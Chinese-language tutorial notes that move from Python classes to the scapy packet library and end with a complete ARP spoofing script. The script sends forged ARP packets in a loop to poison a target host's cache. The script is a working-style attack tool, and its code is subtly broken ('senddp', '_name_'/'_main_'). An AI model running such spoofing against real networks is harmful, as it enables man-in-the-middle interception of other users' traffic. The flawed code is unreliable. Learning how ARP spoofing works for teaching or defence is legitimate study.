将类实例化为对象
- 将类实例化之后的对象可采用“对象名.成员”的方式来调用类中的属性和方法。
- 可以用内置函数isinstance()来判断一个对象是否为某个类的实例。
概念总结
- 面向对象是一种编程方式,此编程方式的实现是基于类和对象的使用。
- 类是一种模板,模板封装了多个函数供使用。
- 对象是根据模板创建的实例,可调用被封装在类中的函数。
- 模块中则集成了大量相关的类、函数、变量。
scapy的主要功能
可以根据自己的需要定义一些列报文,并通过scapy发送出去,最后在接收回应。
scapy的优势一方面是可以自由构造报文,另一方是接收到的回应只解码而不解释,他只会如实响应报文的内容,而不提供结论,如何来判断和利用这些响应报文,由我们自己决定。
scapy主要基于二、三、四层工作。
scapy除了可以作为python库被调用之外,也可以作为单独的工具使用。
ls()可以列出scapy支持的所有协议,每个协议都是一个类。
lsc()可以列出scapy支持的所有方法。
用help()查看帮助信息。
用display()或show()方法查看属性信息。
a=ARP() #将ARP类实例化为对象
arp类的属性
###[ ARP ]###
hwtype= 0x1
ptype= 0x800
hwlen= 6
plen= 4
op= who-has #请求(who-has,广播,询问谁有)
hwsrc= 00:0c:29:1d:65:95 #源MAC
psrc= 192.168.131.159 #源IP
hwdst= 00:00:00:00:00:00 #目的MAC
pdst= 0.0.0.0 #目的IP
scapy中的发包和收包
- 只发不收
send(),在第三层发包,不关心第二层的封装,第二层采用默认值;
sendp(),在第二层发包,需要手动指定第二层如何封装。 - 发包且接收回复
sr()和sr1()都是在第三层发包,sr1表示只接收第一个回复。
srp()和srp1()都是在第二层发包,srp1表示只接收第一个回复。
默认情况下,如果目标主机不通,那么将一直发包,所以可以加上timeout参数。
2 scapy模块的使用
ARP欺骗
构造并发送ARP欺骗数据包
- 构造数据包,加上二层封装。
pkt = Ether(dst=‘ff:ff:ff:ff:ff:ff’)/ARP(pdst=‘192.168.131.160’)
3 编写ARP欺骗脚本
#ARP欺骗脚本
import sys
import time
from scapy.all import *
def arp_spoof(ip1,ip2):
try:
pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip1,psrc=ip2)
senddp(pkt)
return
except:
return
def main():
if len(sys.argv)!=3:
print("使用方法:./arpspoof.py 目标主机IP 被欺骗主机IP")
sys.exit()
ip1=str(sys.argv[1]).strip()
ip2=str(sys.argv[2]).strip()
while True:
arp_spoof(ip1,ip2)
time.sleep(0.5)
if _name_=='_main_':
main()